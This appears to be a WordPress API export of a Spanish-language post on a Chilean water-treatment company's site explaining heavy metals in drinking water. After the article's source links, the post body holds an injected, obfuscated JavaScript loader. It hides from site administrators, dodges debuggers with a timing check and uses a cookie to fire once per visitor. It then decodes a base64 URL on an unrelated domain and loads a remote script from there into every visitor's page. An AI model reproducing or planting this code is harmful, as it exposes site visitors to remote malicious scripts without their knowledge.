{"id":5015,"date":"2018-08-03T10:40:39","date_gmt":"2018-08-03T14:40:39","guid":{"rendered":"http:\/\/www.hidronor.cl\/?p=5015"},"modified":"2026-01-20T14:03:03","modified_gmt":"2026-01-20T18:03:03","slug":"los-metales-pesados","status":"publish","type":"post","link":"https:\/\/www.hidronor.cl\/en\/los-metales-pesados\/","title":{"rendered":"What are heavy metals?"},"content":{"rendered":"<p>Publicada el 03 de agosto del 2018.-<\/p>\n<p>Los metales pesados son un grupo de elementos qu\u00edmicos que presentan una densidad alta. Son en general t\u00f3xicos para los seres humanos y entre los m\u00e1s susceptibles de presentarse en el agua destacamos mercurio, n\u00edquel, cobre, plomo y cromo.<\/p>\n<p>El incremento de concentraci\u00f3n en las aguas de estos compuestos se debe principalmente a contaminaci\u00f3n puntual de origen industrial o minero. Los lixiviados de vertederos o vertidos de aguas residuales pueden ser asimismo una fuente de contaminaci\u00f3n.<\/p>\n<p>Ahora bien, no todas las aguas contaminadas con metales pesados presentan coloraci\u00f3n, y en ocasiones, si las hay, no conseguimos detectarlas. Por ello, se recomienda una vigilancia de las aguas de consumo humano, analiz\u00e1ndolas para comprobar que los valores de metales pesados registrados se encuentran por debajo del valor l\u00edmite legal.<\/p>\n<p>Ver m\u00e1s\u2026<\/p>\n<p>Fuente:&nbsp;<a href=\"https:\/\/www.facsa.com\/metales-pesados\/\">https:\/\/www.facsa.com\/metales-pesados\/<\/a><\/p>\n<p><a href=\"https:\/\/www.farodevigo.es\/especiales\/dia-mundial-agua-2017\/2017\/03\/medir-reducir-presencia-metales-pesados-agua-n1248_2_36323.html\">https:\/\/www.farodevigo.es\/especiales\/dia-mundial-agua-2017\/2017\/03\/medir-reducir-presencia-metales-pesados-agua-n1248_2_36323.html<\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicada el 03 de agosto del 2018.- Los metales pesados son un grupo de elementos qu\u00edmicos que presentan una densidad alta. Son en general t\u00f3xicos para los seres humanos y entre los m\u00e1s susceptibles de presentarse en el agua destacamos mercurio, n\u00edquel, cobre, plomo y cromo. El incremento de concentraci\u00f3n en las aguas de estos [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":5016,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[3,4],"tags":[],"class_list":["post-5015","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-datos-practicos","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u00bfQu\u00e9 son los metales pesados? - Hidronor<\/title>\n<meta name=\"description\" content=\"\u00bfQu\u00e9 son los metales pesados? . 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